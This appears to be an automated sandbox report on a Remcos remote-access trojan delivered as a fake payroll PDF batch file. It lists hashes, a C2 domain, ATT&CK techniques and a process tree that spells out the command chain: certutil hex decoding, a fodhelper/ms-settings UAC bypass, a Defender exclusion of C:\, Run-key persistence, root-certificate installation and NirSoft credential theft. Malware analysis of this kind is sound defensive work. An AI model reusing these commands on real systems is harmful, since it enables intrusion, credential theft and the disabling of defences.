remcos | 5d00074d8fe36dde5b78c0233b25564afecb99befcdd6228eb48971c28e0f067

Analysis

max time kernel
147s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
28/07/2024, 01:14

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General

Target
Payroll for July.PDF.bat
Size 4.9MB
Sample240728-bl376szarn
SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
MD5 221325197f9623e7be8285e05b28c8db
SHA1 e96b0bf85a8b3e9544eed7b2db4db08bbaee5707
SHA512 30b445175c2700065cfecc18d839f4129297435f94649fc5f5fdc489a3151e4544abcf40e2923e2d2002e438f6bf03cdc4cdbd21d44344cc2306c25cc401e98e
SSDEEP 49152:qILm52gH9tPNjLtDgqYQQLg74MmPp1E1TlUQdbKvqsCOP1Ru4JmB/po9c4:5
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection credential_access discovery persistence rat stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:54888
zuesremmy.duckdns.org:54888

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Z19JY9
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4940-129-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4060-131-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3852-128-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3852-128-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4060-131-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	gspwscdY.pif
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 28 IoCs

pid	Process
1976	alpha.exe
4648	alpha.exe
3620	kn.exe
1872	alpha.exe
3852	kn.exe
4908	Defux.COM
876	alpha.exe
4676	alpha.exe
3784	gspwscdY.pif
1364	alpha.exe
816	alpha.exe
4304	alpha.exe
3224	alpha.exe
2704	alpha.exe
5052	alpha.exe
3408	xkn.exe
3324	alpha.exe
1432	ger.exe
1852	per.exe
1476	alpha.exe
1068	alpha.exe
4700	alpha.exe
4548	alpha.exe
4468	alpha.exe
1048	alpha.exe
1432	alpha.exe
2504	alpha.exe
2240	alpha.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	SndVol.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ydcswpsg = "C:\\Users\\Public\\Ydcswpsg.url"	Defux.COM

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4908 set thread context of 3784	4908	Defux.COM	105
PID 4716 set thread context of 4060	4716	SndVol.exe	146
PID 4716 set thread context of 3852	4716	SndVol.exe	147
PID 4716 set thread context of 4940	4716	SndVol.exe	148

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SndVol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SndVol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SndVol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SndVol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Defux.COM
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gspwscdY.pif

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4700	alpha.exe
1488	PING.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
3120	taskkill.exe
4956	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open	ger.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1488	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3408	xkn.exe
3408	xkn.exe
3408	xkn.exe
4908	Defux.COM
4908	Defux.COM
4940	SndVol.exe
4940	SndVol.exe
4060	SndVol.exe
4060	SndVol.exe
4060	SndVol.exe
4060	SndVol.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4716	SndVol.exe
4716	SndVol.exe
4716	SndVol.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3408	xkn.exe
Token: SeDebugPrivilege	3120	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	4940	SndVol.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4716	SndVol.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
4716	SndVol.exe
4716	SndVol.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 432 wrote to memory of 2328	432	cmd.exe	85
PID 432 wrote to memory of 2328	432	cmd.exe	85
PID 432 wrote to memory of 1976	432	cmd.exe	86
PID 432 wrote to memory of 1976	432	cmd.exe	86
PID 1976 wrote to memory of 3248	1976	alpha.exe	87
PID 1976 wrote to memory of 3248	1976	alpha.exe	87
PID 432 wrote to memory of 4648	432	cmd.exe	89
PID 432 wrote to memory of 4648	432	cmd.exe	89
PID 4648 wrote to memory of 3620	4648	alpha.exe	90
PID 4648 wrote to memory of 3620	4648	alpha.exe	90
PID 432 wrote to memory of 1872	432	cmd.exe	91
PID 432 wrote to memory of 1872	432	cmd.exe	91
PID 1872 wrote to memory of 3852	1872	alpha.exe	92
PID 1872 wrote to memory of 3852	1872	alpha.exe	92
PID 432 wrote to memory of 4908	432	cmd.exe	95
PID 432 wrote to memory of 4908	432	cmd.exe	95
PID 432 wrote to memory of 4908	432	cmd.exe	95
PID 432 wrote to memory of 876	432	cmd.exe	96
PID 432 wrote to memory of 876	432	cmd.exe	96
PID 432 wrote to memory of 4676	432	cmd.exe	97
PID 432 wrote to memory of 4676	432	cmd.exe	97
PID 4908 wrote to memory of 3784	4908	Defux.COM	105
PID 4908 wrote to memory of 3784	4908	Defux.COM	105
PID 4908 wrote to memory of 3784	4908	Defux.COM	105
PID 4908 wrote to memory of 3784	4908	Defux.COM	105
PID 4908 wrote to memory of 3784	4908	Defux.COM	105
PID 3784 wrote to memory of 2412	3784	gspwscdY.pif	106
PID 3784 wrote to memory of 2412	3784	gspwscdY.pif	106
PID 2412 wrote to memory of 412	2412	cmd.exe	109
PID 2412 wrote to memory of 412	2412	cmd.exe	109
PID 2412 wrote to memory of 1364	2412	cmd.exe	110
PID 2412 wrote to memory of 1364	2412	cmd.exe	110
PID 2412 wrote to memory of 816	2412	cmd.exe	111
PID 2412 wrote to memory of 816	2412	cmd.exe	111
PID 2412 wrote to memory of 4304	2412	cmd.exe	112
PID 2412 wrote to memory of 4304	2412	cmd.exe	112
PID 4304 wrote to memory of 4272	4304	alpha.exe	113
PID 4304 wrote to memory of 4272	4304	alpha.exe	113
PID 2412 wrote to memory of 3224	2412	cmd.exe	114
PID 2412 wrote to memory of 3224	2412	cmd.exe	114
PID 3224 wrote to memory of 3404	3224	alpha.exe	115
PID 3224 wrote to memory of 3404	3224	alpha.exe	115
PID 2412 wrote to memory of 2704	2412	cmd.exe	116
PID 2412 wrote to memory of 2704	2412	cmd.exe	116
PID 2704 wrote to memory of 2896	2704	alpha.exe	117
PID 2704 wrote to memory of 2896	2704	alpha.exe	117
PID 2412 wrote to memory of 5052	2412	cmd.exe	118
PID 2412 wrote to memory of 5052	2412	cmd.exe	118
PID 5052 wrote to memory of 3408	5052	alpha.exe	119
PID 5052 wrote to memory of 3408	5052	alpha.exe	119
PID 3408 wrote to memory of 3324	3408	xkn.exe	121
PID 3408 wrote to memory of 3324	3408	xkn.exe	121
PID 3324 wrote to memory of 1432	3324	alpha.exe	122
PID 3324 wrote to memory of 1432	3324	alpha.exe	122
PID 2412 wrote to memory of 1852	2412	cmd.exe	123
PID 2412 wrote to memory of 1852	2412	cmd.exe	123
PID 2412 wrote to memory of 1476	2412	cmd.exe	128
PID 2412 wrote to memory of 1476	2412	cmd.exe	128
PID 1476 wrote to memory of 3120	1476	alpha.exe	129
PID 1476 wrote to memory of 3120	1476	alpha.exe	129
PID 2412 wrote to memory of 1068	2412	cmd.exe	132
PID 2412 wrote to memory of 1068	2412	cmd.exe	132
PID 1068 wrote to memory of 4956	1068	alpha.exe	134
PID 1068 wrote to memory of 4956	1068	alpha.exe	134

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2328
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:3248
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
    3⤵
    - Executes dropped EXE
    PID:3620
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
    3⤵
    - Executes dropped EXE
    PID:3852
- C:\Users\Public\Libraries\Defux.COM
  C:\Users\Public\Libraries\Defux.COM
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Users\Public\Libraries\gspwscdY.pif
    C:\Users\Public\Libraries\gspwscdY.pif
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CDEF.tmp\CDFF.tmp\CE00.bat C:\Users\Public\Libraries\gspwscdY.pif"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2412
    - - C:\Windows\System32\extrac32.exe
        
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        5⤵
        
        PID:412
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        5⤵
        Executes dropped EXE
        
        PID:1364
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:816
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4304
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        6⤵
        
        PID:4272
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3224
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        6⤵
        
        PID:3404
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2704
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        6⤵
        
        PID:2896
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5052
      - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        6⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3408
        
        C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3324
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        8⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:1432
    - - C:\Windows \System32\per.exe
        
        "C:\\Windows \\System32\\per.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1852
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1476
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3120
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1068
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettingsAdminFlows.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
        5⤵
        Executes dropped EXE
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4700
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 5
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1488
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
        5⤵
        Executes dropped EXE
        
        PID:4548
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:4468
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
        5⤵
        Executes dropped EXE
        
        PID:1048
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:1432
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2504
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2240
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4304
- - C:\Windows\SysWOW64\SndVol.exe
    C:\Windows\System32\SndVol.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4716
  - - C:\Windows\SysWOW64\SndVol.exe
      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\feqmxbqgmqx"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4060
  - - C:\Windows\SysWOW64\SndVol.exe
      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pywfxtbiaypnkik"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:3852
  - - C:\Windows\SysWOW64\SndVol.exe
      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zsbpymubwghrmwgoni"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4940
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:4676

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:4912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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logs.dat

Path C:\ProgramData\remcos\logs.dat
